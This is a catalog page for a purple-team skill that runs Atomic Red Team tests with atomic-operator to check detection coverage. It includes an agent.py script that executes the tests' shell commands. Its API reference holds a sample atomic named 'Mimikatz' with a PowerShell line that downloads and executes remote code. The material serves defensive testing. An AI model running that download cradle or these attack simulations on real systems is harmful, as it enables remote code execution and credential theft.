Security Skills Atlas
threat intelligence

Performing Threat Emulation with Atomic Red Team

Executes Atomic Red Team tests for MITRE ATT&CK technique validation using the atomic-operator Python framework. Loads test definitions from YAML atomics, runs attack simulations, and validates detection coverage. Use when testing SIEM detection rules, validating EDR coverage, or conducting purple team exercises.

adversary-emulationatomic-operatoratomic-red-teammitre-attackpurple-teamthreat-emulation
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

MITRE ATT&CK

T1003.001 on the official MITRE ATT&CK siteT1053.005 on the official MITRE ATT&CK siteT1059.001 on the official MITRE ATT&CK siteT1059.003 on the official MITRE ATT&CK siteT1070.001 on the official MITRE ATT&CK siteT1547.001 on the official MITRE ATT&CK siteT1558.003 on the official MITRE ATT&CK siteT1589 on the official MITRE ATT&CK siteT1591 on the official MITRE ATT&CK siteT1592 on the official MITRE ATT&CK siteT1593 on the official MITRE ATT&CK siteT1685.002 on the official MITRE ATT&CK site

NIST CSF 2.0

DE.AE-02 on the official NIST CSF 2.0 siteDE.CM-01 on the official NIST CSF 2.0 siteID.RA-01 on the official NIST CSF 2.0 siteID.RA-05 on the official NIST CSF 2.0 site

MITRE ATLAS

AML.T0066 on the official MITRE ATLAS siteAML.T0070 on the official MITRE ATLAS siteAML.T0082 on the official MITRE ATLAS site

MITRE D3FEND

Content Format Conversion on the official MITRE D3FEND siteExecutable Denylisting on the official MITRE D3FEND siteExecution Isolation on the official MITRE D3FEND siteFile Content Analysis on the official MITRE D3FEND siteFile Metadata Consistency Validation on the official MITRE D3FEND site

NIST AI RMF

MANAGE-2.4 on the official NIST AI RMF siteMAP-5.1 on the official NIST AI RMF siteMEASURE-2.7 on the official NIST AI RMF site

When to Use

  • When conducting security assessments that involve performing threat emulation with atomic red team
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Familiarity with threat intelligence concepts and tools
  • Access to a test or lab environment for safe execution
  • Python 3.8+ with required dependencies installed
  • Appropriate authorization for any testing activities

Instructions

Use atomic-operator to execute Atomic Red Team tests and validate detection coverage against MITRE ATT&CK techniques.

from atomic_operator import AtomicOperator
 
operator = AtomicOperator()
# Run a specific technique test
operator.run(
    technique="T1059.001",  # PowerShell execution
    atomics_path="./atomic-red-team/atomics",
)

Key workflow:

  1. Clone the atomic-red-team repository for test definitions
  2. Select ATT&CK techniques matching your detection rules
  3. Execute atomic tests using atomic-operator
  4. Check SIEM/EDR for corresponding alerts
  5. Document detection gaps and update rules

Examples

# Parse atomic test YAML definitions
import yaml
with open("atomics/T1059.001/T1059.001.yaml") as f:
    tests = yaml.safe_load(f)
for test in tests.get("atomic_tests", []):
    print(f"Test: {test['name']}")
    print(f"  Platforms: {test.get('supported_platforms', [])}")
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 1

api-reference.md1.7 KB

API Reference: Performing Threat Emulation with Atomic Red Team

atomic-operator (Python)

from atomic_operator import AtomicOperator
 
operator = AtomicOperator()
# Run specific technique
operator.run(
    technique="T1059.001",
    atomics_path="./atomic-red-team/atomics",
    test_numbers=[1],
)
# Run with custom inputs
operator.run(technique="T1059.001", input_arguments={"command": "whoami"})

Atomic Test YAML Format

attack_technique: T1059.001
display_name: "PowerShell"
atomic_tests:
  - name: "Mimikatz"
    description: "Downloads and runs mimikatz"
    supported_platforms: [windows]
    executor:
      name: powershell
      command: |
        IEX (New-Object Net.WebClient).DownloadString('#{url}')
      cleanup_command: |
        Remove-Item #{output_file}
    input_arguments:
      url:
        description: "URL to download"
        type: url
        default: "https://example.com/test"

Key CLI Commands

# Clone atomics
git clone https://github.com/redcanaryco/atomic-red-team
 
# Install operator
pip install atomic-operator
 
# List tests for technique
ls atomic-red-team/atomics/T1059.001/

Coverage Mapping

Tactic Example Techniques
Execution T1059.001 (PowerShell), T1059.003 (cmd)
Persistence T1053.005 (Scheduled Task), T1547.001 (Run Keys)
Defense Evasion T1070.001 (Clear Event Logs)
Credential Access T1003.001 (LSASS), T1558.003 (Kerberoasting)

References

Scripts 1

agent.py7.8 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Agent for threat emulation with Atomic Red Team test execution."""

import json
import yaml
import argparse
import shlex
import subprocess
from pathlib import Path
from datetime import datetime


def load_atomic_tests(atomics_path, technique_id):
    """Load Atomic Red Team test definitions for a technique."""
    technique_dir = Path(atomics_path) / technique_id
    yaml_path = technique_dir / f"{technique_id}.yaml"
    if not yaml_path.exists():
        return None
    with open(yaml_path) as f:
        return yaml.safe_load(f)


def list_available_techniques(atomics_path):
    """List all available Atomic Red Team techniques."""
    techniques = []
    atomics_dir = Path(atomics_path)
    for technique_dir in sorted(atomics_dir.iterdir()):
        if technique_dir.is_dir() and technique_dir.name.startswith("T"):
            yaml_file = technique_dir / f"{technique_dir.name}.yaml"
            if yaml_file.exists():
                with open(yaml_file) as f:
                    data = yaml.safe_load(f)
                techniques.append({
                    "technique_id": technique_dir.name,
                    "name": data.get("display_name", ""),
                    "test_count": len(data.get("atomic_tests", [])),
                    "platforms": list(set(
                        p for t in data.get("atomic_tests", [])
                        for p in t.get("supported_platforms", [])
                    )),
                })
    return techniques


def get_test_details(atomics_path, technique_id):
    """Get detailed information about tests for a technique."""
    data = load_atomic_tests(atomics_path, technique_id)
    if not data:
        return []
    tests = []
    for i, test in enumerate(data.get("atomic_tests", [])):
        tests.append({
            "test_number": i + 1,
            "name": test.get("name", ""),
            "description": test.get("description", ""),
            "platforms": test.get("supported_platforms", []),
            "executor": test.get("executor", {}).get("name", ""),
            "command": test.get("executor", {}).get("command", "")[:200],
            "cleanup": test.get("executor", {}).get("cleanup_command", "")[:200],
            "input_arguments": list(test.get("input_arguments", {}).keys()),
        })
    return tests


def execute_atomic_test(atomics_path, technique_id, test_number=1, platform="linux"):
    """Execute an Atomic Red Team test using atomic-operator."""
    try:
        from atomic_operator import AtomicOperator
        operator = AtomicOperator()
        result = operator.run(
            technique=technique_id,
            atomics_path=str(atomics_path),
            test_numbers=[test_number],
        )
        return {"status": "executed", "technique": technique_id,
                "test_number": test_number, "result": str(result)}
    except ImportError:
        return execute_atomic_manual(atomics_path, technique_id, test_number, platform)


def execute_atomic_manual(atomics_path, technique_id, test_number, platform):
    """Execute atomic test manually by parsing YAML and running commands."""
    data = load_atomic_tests(atomics_path, technique_id)
    if not data:
        return {"status": "error", "message": f"Technique {technique_id} not found"}
    tests = data.get("atomic_tests", [])
    if test_number > len(tests):
        return {"status": "error", "message": f"Test {test_number} not found"}
    test = tests[test_number - 1]
    executor = test.get("executor", {})
    command = executor.get("command", "")
    if not command:
        return {"status": "error", "message": "No command defined"}
    for arg_name, arg_def in test.get("input_arguments", {}).items():
        default = str(arg_def.get("default", ""))
        command = command.replace(f"#{{{arg_name}}}", shlex.quote(default))
    try:
        # shell=True required: Atomic Red Team commands are shell scripts by design
        result = subprocess.run(
            command, shell=True, capture_output=True, text=True, timeout=60,
        )
        return {
            "status": "executed",
            "technique": technique_id,
            "test_name": test.get("name", ""),
            "return_code": result.returncode,
            "stdout": result.stdout[:500],
            "stderr": result.stderr[:500],
        }
    except subprocess.TimeoutExpired:
        return {"status": "timeout", "technique": technique_id}


def run_cleanup(atomics_path, technique_id, test_number=1):
    """Run cleanup commands for an atomic test."""
    data = load_atomic_tests(atomics_path, technique_id)
    if not data:
        return {"status": "error"}
    tests = data.get("atomic_tests", [])
    if test_number > len(tests):
        return {"status": "error"}
    test = tests[test_number - 1]
    cleanup_cmd = test.get("executor", {}).get("cleanup_command", "")
    if not cleanup_cmd:
        return {"status": "no_cleanup_defined"}
    for arg_name, arg_def in test.get("input_arguments", {}).items():
        default = str(arg_def.get("default", ""))
        cleanup_cmd = cleanup_cmd.replace(f"#{{{arg_name}}}", shlex.quote(default))
    try:
        # shell=True required: Atomic Red Team cleanup commands are shell scripts by design
        subprocess.run(cleanup_cmd, shell=True, capture_output=True, timeout=30)
        return {"status": "cleaned_up", "technique": technique_id}
    except subprocess.TimeoutExpired:
        return {"status": "cleanup_timeout"}


def build_coverage_matrix(atomics_path, detection_rules):
    """Compare available atomic tests against detection rules for gap analysis."""
    techniques = list_available_techniques(atomics_path)
    covered = set()
    for rule in detection_rules:
        for tag in rule.get("tags", []):
            if tag.startswith("attack.t"):
                covered.add(tag.replace("attack.", "").upper())
    matrix = []
    for t in techniques:
        tid = t["technique_id"]
        matrix.append({
            "technique_id": tid,
            "name": t["name"],
            "has_atomic_test": True,
            "has_detection_rule": tid in covered,
            "gap": tid not in covered,
        })
    return matrix


def main():
    parser = argparse.ArgumentParser(description="Atomic Red Team Threat Emulation Agent")
    parser.add_argument("--atomics-path", default="./atomic-red-team/atomics")
    parser.add_argument("--technique", help="ATT&CK technique ID (e.g., T1059.001)")
    parser.add_argument("--test-number", type=int, default=1)
    parser.add_argument("--output", default="atomic_report.json")
    parser.add_argument("--action", choices=[
        "list", "details", "execute", "cleanup", "coverage"
    ], default="list")
    args = parser.parse_args()

    report = {"generated_at": datetime.utcnow().isoformat(), "results": {}}

    if args.action == "list":
        techniques = list_available_techniques(args.atomics_path)
        report["results"]["techniques"] = techniques
        print(f"[+] Available techniques: {len(techniques)}")

    if args.action == "details" and args.technique:
        tests = get_test_details(args.atomics_path, args.technique)
        report["results"]["tests"] = tests
        print(f"[+] Tests for {args.technique}: {len(tests)}")

    if args.action == "execute" and args.technique:
        result = execute_atomic_test(args.atomics_path, args.technique, args.test_number)
        report["results"]["execution"] = result
        print(f"[+] Executed {args.technique} test #{args.test_number}: {result['status']}")

    if args.action == "cleanup" and args.technique:
        result = run_cleanup(args.atomics_path, args.technique, args.test_number)
        report["results"]["cleanup"] = result
        print(f"[+] Cleanup: {result['status']}")

    with open(args.output, "w") as f:
        json.dump(report, f, indent=2, default=str)
    print(f"[+] Report saved to {args.output}")


if __name__ == "__main__":
    main()
Keep exploring
Analyzing APT Group with MITRE ATT&CK NavigatorAnalyze advanced persistent threat (APT) group techniques using MITRE ATT&CK Navigator to create layered heatmaps of adversary TTPs for detection gap analysis and threat-informed defense.Analyzing Campaign Attribution EvidenceCampaign attribution analysis involves systematically evaluating evidence to determine which threat actor or group is responsible for a cyber operation. This skill covers collecting and weighting attribution indicators using the Diamond Model and ACH (Analysis of Competing Hypotheses), analyzing infrastructure overlaps, TTP consistency, malware code similarities, operational timing patterns, and language artifacts to build confidence-weighted attribution assessments.Analyzing Threat Actor TTPs with MITRE ATT&CKMITRE ATT&CK is a globally-accessible knowledge base of adversary tactics, techniques, and procedures (TTPs) based on real-world observations. This skill covers systematically mapping threat actor behavior to the ATT&CK framework, building technique coverage heatmaps using the ATT&CK Navigator, identifying detection gaps, and producing actionable intelligence reports that link observed IOCs to specific adversary techniques across the Enterprise, Mobile, and ICS matrices.Analyzing Threat Actor TTPs with MITRE NavigatorMap advanced persistent threat (APT) group tactics, techniques, and procedures (TTPs) to the MITRE ATT&CK framework using the ATT&CK Navigator and attackcti Python library. The analyst queries STIX/TAXII data for group-technique associations, generates Navigator layer files for visualization, and compares defensive coverage against adversary profiles. Activates for requests involving APT TTP mapping, ATT&CK Navigator layers, threat actor profiling, or MITRE technique coverage analysis.Building Attack Pattern Library from CTI ReportsExtract and catalog attack patterns from cyber threat intelligence reports into a structured STIX-based library mapped to MITRE ATT&CK for detection engineering and threat-informed defense.Building IOC Enrichment Pipeline with OpenCTIOpenCTI is an open-source platform for managing cyber threat intelligence knowledge, built on STIX 2.1 as its native data model. This skill covers building an automated IOC enrichment pipeline using OpenCTI's connector ecosystem to enrich indicators with context from VirusTotal, Shodan, AbuseIPDB, GreyNoise, and other sources. The pipeline automatically enriches newly ingested indicators, correlates them with known threat actors and campaigns, and scores them for analyst prioritization.